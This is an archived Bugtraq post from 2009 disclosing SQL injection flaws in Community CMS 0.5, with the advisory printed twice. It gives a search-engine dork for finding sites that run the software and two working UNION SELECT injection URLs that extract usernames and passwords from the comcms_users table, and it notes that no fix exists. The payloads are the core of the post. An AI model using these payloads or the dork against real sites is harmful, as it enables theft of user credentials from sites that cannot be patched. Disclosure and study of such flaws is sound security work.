Community CMS 0.5 Multiple SQL Injection Vulnerabilities
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, str0ke <str0ke@xxxxxxxxxxx>
- Subject: Community CMS 0.5 Multiple SQL Injection Vulnerabilities
- From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
- Date: Mon, 30 Mar 2009 21:55:45 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=QXJeGc42YjkYx7mw5KjcL1wMjWsDIvKfYO5z940lGpA=; b=M9wyFi4Jsoh2YchETJsveAzeT9lRqeU+AJl6oFnr5oxV2WttFToiQXXbS8EMVS0yih bZrHcMWL5lq6+SaatxBZO6wWrj0Q93t+3RR8Xtd4qUkeMl4YpOX74vwDPI0odJKZLxd8 aM3EZgPUmmFBdh5ReaUmwy9131S6q3BMld2x0=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=G8n97xWDhWe6uY4TgBacZjSwynK2Dwa0UgftmKmtYIIgllklHz50NJdCG4K2z87d0+ dxwcOe1S0rUll80DGq5z7KZnKoUTvxrHjvAU0k7d18x3SY/uMni6+tx57e4pIPdESiDe Tt1uTMd6pxBRihK2+nF6C2gCji6o4HgfFwhX8=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
******* Salvatore "drosophila" Fresta *******
[+] Application: Community CMS
[+] Version: 0.5
[+] Website: http://sourceforge.net/projects/communitycms/
[+] Bugs: [A] Multiple SQL Injection
[+] Exploitation: Remote
[+] Dork: intext:"Powered by Community CMS"
[+] Date: 30 Mar 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] SQL Injection
[-] File affected: view.php, calendar.php
This bug allows a guest to view username and
password of a registered user.
*************************************************
[+] Code
- [A] Multiple SQL Injection
http://www.site.com/path/view.php?article_id=-1 UNION ALL SELECT
1,2,username,password,5,6,7,8,9 FROM comcms_users
http://www.site.com/path/index.php?id=2&view=event&a=-1 UNION ALL
SELECT 1,2,3,4,5,6,7,CONCAT(username, 0x3a,
password),NULL,NULL,NULL,12,13,NULL FROM comcms_users%23
*************************************************
[+] Fix
No fix.
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351
******* Salvatore "drosophila" Fresta *******
[+] Application: Community CMS
[+] Version: 0.5
[+] Website: http://sourceforge.net/projects/communitycms/
[+] Bugs: [A] Multiple SQL Injection
[+] Exploitation: Remote
[+] Dork: intext:"Powered by Community CMS"
[+] Date: 30 Mar 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] SQL Injection
[-] File affected: view.php, calendar.php
This bug allows a guest to view username and
password of a registered user.
*************************************************
[+] Code
- [A] Multiple SQL Injection
http://www.site.com/path/view.php?article_id=-1 UNION ALL SELECT
1,2,username,password,5,6,7,8,9 FROM comcms_users
http://www.site.com/path/index.php?id=2&view=event&a=-1 UNION ALL SELECT
1,2,3,4,5,6,7,CONCAT(username, 0x3a, password),NULL,NULL,NULL,12,13,NULL FROM
comcms_users%23
*************************************************
[+] Fix
No fix.
*************************************************